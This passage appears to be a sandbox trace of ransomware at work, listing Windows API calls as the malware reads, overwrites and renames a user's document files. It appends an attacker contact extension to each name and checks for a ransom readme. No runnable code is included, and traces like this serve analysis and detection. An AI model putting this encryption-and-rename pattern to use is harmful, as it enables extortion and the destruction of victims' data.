(lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\nt4haaobgdxfpb jlb.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\nt4haaobgdxfpb jlb.doc.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.956] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433690) returned 1 [0079.956] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc", dwFileAttributes=0x20) returned 0 [0079.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb8b0 [0079.956] wcscpy (in: _Dest=0x33eb8b0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0079.956] wcscat (in: _Dest=0x33eb8b0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" [0079.956] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt")) returned 0x20 [0079.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb8b0) returned 1 [0079.957] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6678) returned 1 [0079.957] RtlExitUserThread (Status=0x1) Thread: id = 992 os_tid = 0x1684 [0079.958] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\toe4la1.docx")) returned 0x20 [0079.958] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx", dwFileAttributes=0x20) returned 1 [0079.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\toe4la1.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0079.958] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x23d3fc5c | out: lpFileSize=0x23d3fc5c*=30930) returned 1 [0079.958] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x78ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.958] ReadFile (in: hFile=0x448, lpBuffer=0x23d3fc30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23d3fc2c, lpOverlapped=0x0 | out: lpBuffer=0x23d3fc30*, lpNumberOfBytesRead=0x23d3fc2c*=0x4, lpOverlapped=0x0) returned 1 [0079.958] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0079.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f88 [0079.959] NtQuerySystemTime (in: CurrentTime=0x23d3fc08 | out: CurrentTime=0x23d3fc08*=132121176378448665) returned 0x0 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xfef6fb5c [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x8207ae28 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xc665fd2e [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x18807299 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xf1ea7ba8 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xdfe316c8 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xe968a5f0 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x227add98 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xb67c6c0f [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x53c403fc [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xf5e2f28e [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x7c3eb252 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x7b7dcef7 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x8ac68890 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xf0302ad8 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x7149b17c [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x6fb0366 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xc8a4e2c2 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xff927da6 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xec22fbce [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xf5e99350 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x3c110b1f [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xe87555b7 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xefb50b0b [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xa9572ad5 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x442f9db3 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0xaaa4feea [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x1dc06104 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x85479c20 [0079.959] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x8819b866 [0079.960] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x182c7c30 [0079.960] RtlRandom (in: Seed=0x23d3fc14 | out: Seed=0x23d3fc14) returned 0x93b4cf19 [0079.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0079.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.971] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.971] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23d3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23d3fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0079.971] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0079.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.972] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.972] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0079.972] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23d3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23d3fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0079.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.972] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x78d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.972] WriteFile (in: hFile=0x448, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23d3fc18, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x23d3fc18*=0x20, lpOverlapped=0x0) returned 1 [0079.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.972] WriteFile (in: hFile=0x448, lpBuffer=0x3491d30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23d3fc2c, lpOverlapped=0x0 | out: lpBuffer=0x3491d30*, lpNumberOfBytesWritten=0x23d3fc2c*=0x8, lpOverlapped=0x0) returned 1 [0079.972] WriteFile (in: hFile=0x448, lpBuffer=0x23d3fc44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23d3fc2c, lpOverlapped=0x0 | out: lpBuffer=0x23d3fc44*, lpNumberOfBytesWritten=0x23d3fc2c*=0x4, lpOverlapped=0x0) returned 1 [0079.972] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23d3fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x23d3fc2c*=0x4, lpOverlapped=0x0) returned 1 [0079.973] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23d3fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x23d3fc2c*=0x6c, lpOverlapped=0x0) returned 1 [0079.973] WriteFile (in: hFile=0x448, lpBuffer=0x3492028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23d3fc2c, lpOverlapped=0x0 | out: lpBuffer=0x3492028*, lpNumberOfBytesWritten=0x23d3fc2c*=0x20, lpOverlapped=0x0) returned 1 [0079.973] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23d3fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x23d3fc2c*=0x4, lpOverlapped=0x0) returned 1 [0079.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0079.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d30) returned 1 [0079.973] CloseHandle (hObject=0x448) returned 1 [0079.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3475a10 [0079.973] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx" [0079.973] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731" [0079.973] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\toe4la1.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\toe4la1.docx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.974] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0079.974] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx", dwFileAttributes=0x20) returned 0 [0079.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb4f0 [0079.974] wcscpy (in: _Dest=0x33eb4f0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0079.974] wcscat (in: _Dest=0x33eb4f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" [0079.974] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt")) returned 0x20 [0079.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb4f0) returned 1 [0079.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3020) returned 1 [0079.974] RtlExitUserThread (Status=0x1) Thread: id = 993 os_tid = 0x1688 [0079.977] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\zdwwenfqiuihll0zg-mz.rtf")) returned 0x20 [0079.978] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf", dwFileAttributes=0x20) returned 1 [0079.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\zdwwenfqiuihll0zg-mz.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0079.978] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x23dbfbe8 | out: lpFileSize=0x23dbfbe8*=80433) returned 1 [0079.978] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x13a2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.978] ReadFile (in: hFile=0x448, lpBuffer=0x23dbfbbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23dbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x23dbfbbc*, lpNumberOfBytesRead=0x23dbfbb8*=0x4, lpOverlapped=0x0) returned 1 [0079.979] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0079.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491d30 [0079.979] NtQuerySystemTime (in: CurrentTime=0x23dbfb94 | out: CurrentTime=0x23dbfb94*=132121176378800882) returned 0x0 [0079.979] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x8516ac [0079.979] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0xb87162d7 [0079.979] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0xdf1ca4bf [0079.979] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x7036205c [0079.979] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x801ba4c3 [0079.979] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x57709ab6 [0079.979] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x28037310 [0079.979] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x58b75ec3 [0079.979] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x33adce50 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x778aabf8 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x9c5aa554 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x7217b914 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0xf0979271 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x2334e130 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0xdc459cb1 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x8a0ec8aa [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0xa60f6020 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0xf6f033c2 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0xccbf9417 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x3304a2eb [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x9f7be293 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x4c12ebe7 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0xd00b554a [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x956bfddd [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x9cdfd607 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0xcd04b60a [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x9faa9a31 [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x6b567f6c [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x8a16de4c [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x69c44afe [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0x277d3b3e [0079.980] RtlRandom (in: Seed=0x23dbfba0 | out: Seed=0x23dbfba0) returned 0xda62b24c [0079.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0079.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.994] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.994] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.994] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23dbfb6c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23dbfb6c*=0x4096, lpOverlapped=0x0) returned 1 [0079.995] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0079.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.995] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0079.996] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23dbfb6c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23dbfb6c*=0x4096, lpOverlapped=0x0) returned 1 [0079.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.996] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x13a31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.996] WriteFile (in: hFile=0x448, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23dbfba4, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x23dbfba4*=0x20, lpOverlapped=0x0) returned 1 [0079.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.996] WriteFile (in: hFile=0x448, lpBuffer=0x3491d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23dbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x3491d58*, lpNumberOfBytesWritten=0x23dbfbb8*=0x8, lpOverlapped=0x0) returned 1 [0079.997] WriteFile (in: hFile=0x448, lpBuffer=0x23dbfbd0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23dbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x23dbfbd0*, lpNumberOfBytesWritten=0x23dbfbb8*=0x4, lpOverlapped=0x0) returned 1 [0079.997] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23dbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x23dbfbb8*=0x4, lpOverlapped=0x0) returned 1 [0079.997] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23dbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x23dbfbb8*=0x6c, lpOverlapped=0x0) returned 1 [0079.997] WriteFile (in: hFile=0x448, lpBuffer=0x3492028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23dbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x3492028*, lpNumberOfBytesWritten=0x23dbfbb8*=0x20, lpOverlapped=0x0) returned 1 [0079.997] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23dbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x23dbfbb8*=0x4, lpOverlapped=0x0) returned 1 [0079.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0079.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d58) returned 1 [0079.997] CloseHandle (hObject=0x448) returned 1 [0079.997] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a338 [0079.997] wcscpy (in: _Dest=0x348a338, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf") 